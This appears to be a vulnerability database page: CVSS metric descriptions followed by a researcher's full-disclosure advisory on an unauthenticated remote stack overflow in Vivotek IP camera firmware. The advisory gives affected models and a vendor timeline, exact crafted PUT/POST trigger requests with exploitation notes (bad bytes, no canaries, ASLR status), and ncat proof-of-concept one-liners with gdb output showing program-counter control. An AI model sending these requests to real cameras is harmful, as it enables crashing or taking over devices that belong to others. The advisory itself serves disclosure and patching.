The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
High
AC
The successful attack depends on the evasion or circumvention of security-enhancing techniques in place that would otherwise hinder the attack. These include: Evasion of exploit mitigation techniques. The attacker must have additional methods available to bypass security measures in place. For example, circumvention of address space randomization (ASLR) or data execution prevention must be performed for the attack to be successful. Obtaining target-specific secrets. The attacker must gather some target-specific secret before the attack can be successful. A secret is any piece of information that cannot be obtained through any amount of reconnaissance. To obtain the secret the attacker must perform additional attacks or break otherwise secure measures (e.g. knowledge of a secret key may be needed to break a crypto channel). This operation must be performed for each attacked target.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: Vivotek IP Cameras Remote Stack Overflow
[STX]
Subject: Vivotek IP Cameras - Remote Stack Overflow
Researcher: bashis <mcw noemail eu> (September-October 2017)
PoC: https://github.com/mcw0/PoC
Release date: November 13, 2017
Full Disclosure: 43 days
Attack Vector: Remote
Authentication: Anonymous (no credentials needed)
Firmware Vulnerable: Only 2017 versions affected
Firmware Patched: October 2017 and higher
Device Model:
CC8160, CC8370, CC8371, CD8371, FD8166A, FD8166A, FD8166A-N, FD8167A, FD8167A, FD8167AS,
FD8167AS, FD8169A, FD8169A, FD8169A, FD8169AS, FD8169AS, FD816B, FD816B, FD816BA, FD816BA,
FD816C, FD816C, FD816CA, FD816CA, FD816D, FD8177, FD8179, FD8182, FD8182, FD8182-F1,
FD8365A_v2, FD8367A, FD8367A, FD8369A, FD8369A, FD836B, FD836BA, FD836D, FD8377, FD8379,
FD8382, FD9171, FD9181, FD9371, FD9381, FE8174_v2, FE8181_v2, FE8182, FE8374_v2, FE8381_v2,
FE9181, FE9182, FE9381, FE9382, IB8367A, IB8369A, IB836B, IB836BA, IB836D, IB8377,
IB8379, IB8382, IB9371, IB9381, IP8166, IP9171, IP9181, IZ9361, MD8563, MD8564,
MD8565, SD9161, SD9361, SD9362, SD9363, SD9364, SD9365, SD9366, VC8101... and possible more
Download Updated Firmware: http://www.vivotek.com/firmware/
[Timeline]
October 1, 2017: Reported findings with all details to Vivotek Cybersecurity
October 2, 2017: First response from Vivotek
October 5, 2017: ACK of findings from Vivotek
October 11, 2017: Vivotek reported first fixed Firmware
October 12, 2017: After request, Vivotek provided samples of fixed Firmware
October 17, 2017: Verified fixed Firmware, Vivotek thanking for the help
October 30, 2017: Noticed new Firmware released, pinged to get some info about their advisory
November 1, 2017: Agreed on publication November 13, 2017
November 9, 2017: Checked few release notes, none mention security fix; pinged Vivotek with the question why not.
November 13, 2017: No reply from Vivotek, Full Disclosure as planned.
[Details]
Vivotek using modified version of Boa/0.94.14rc21, and the vulnerability has been introduced by Vivotek.
The stack overflow is triggered by "PUT" or "POST" request:
[PUT|POST] /cgi-bin/admin/upgrade.cgi HTTP/1.0\nContent-Length:[20 bytes garbage]BBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIXXXX\n\r\n\r\n
However,
the absolutely minimal request to trigger the stack overflow is weird, most probably due to quick hack:
"[PUT|POST]Content-Length:[20 bytes garbage]BBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIXXXX\n\r\n\r\n"
This allows us to insert [JUNK] with 'Good bytes' up to 9182 bytes (0x1FFF) of the request:
"[PUT|POST][JUNK]Content-Length[JUNK]:[20 bytes garbage]BBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIXXXX\n\r\n\r\n"
Notes:
1. B to I = $R4-$R11; X = $PC
2. Size of request availible in $R3 at the LDMFD
3. Max request size: 9182 bytes (0x1FFF)
4. "Start with "\n" in "\n\r\n\r\n" needed to jump with 0x00xxxxxx (if not $PC will be 0x0dxxxxxx)
5. Space (0x20) after ':' in 'Content-Length:' counting as one char of the 20 bytes
6. Stack not protected with "Stack canaries"
7. Good bytes: 0x01-0x09, 0x0b-0xff; Bad bytes: 0x00, 0x0a;
8. heap: Non-executable + Non-ASLR
9. stack: Non-executable + ASLR
[PoC]
$ echo -en "POST /cgi-bin/admin/upgrade.cgi HTTP/1.0\nContent-Length:AAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIXXXX\n\r\n\r\n" | ncat -v 192.168.57.20 80
(gdb) target remote 192.168.57.20:23946
Remote debugging using 192.168.57.20:23946
0x76eb2c5c in ?? ()
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x58585858 in ?? ()
(gdb) bt
#0 0x58585858 in ?? ()
#1 0x000188f4 in ?? ()
Backtrace stopped: previous frame identical to this frame (corrupt stack?)
(gdb) i reg
r0 0x11
r1 0x47210291344
r2 0x00
r3 0x75117
r4 0x424242421111638594
r5 0x434343431128481603
r6 0x444444441145324612
r7 0x454545451162167621
r8 0x464646461179010630
r9 0x474747471195853639
r10 0x484848481212696648
r11 0x494949491229539657
r12 0x11
sp 0x7e92dac00x7e92dac0
lr 0x188f4100596
pc 0x585858580x58585858
cpsr 0x600000101610612752
(gdb)
$ echo -en "PUTContent-Length:AAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIXXXX\n\r\n\r\n" | ncat -v 192.168.57.20 80
(gdb) target remote 192.168.57.20:23946
Remote debugging using 192.168.57.20:23946
0x76e82c5c in ?? ()
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x58585858 in ?? ()
(gdb) bt
#0 0x58585858 in ?? ()
#1 0x000188f4 in ?? ()
Backtrace stopped: previous frame identical to this frame (corrupt stack?)
(gdb) i reg
r0 0x11
r1 0x47210291344
r2 0x00
r3 0x4f79
r4 0x424242421111638594
r5 0x434343431128481603
r6 0x444444441145324612
r7 0x454545451162167621
r8 0x464646461179010630
r9 0x474747471195853639
r10 0x484848481212696648
r11 0x494949491229539657
r12 0x11
sp 0x7ec9cac00x7ec9cac0
lr 0x188f4100596
pc 0x585858580x58585858
cpsr 0x600000101610612752
(gdb)
Have a nice day
/bashis
[ETX]
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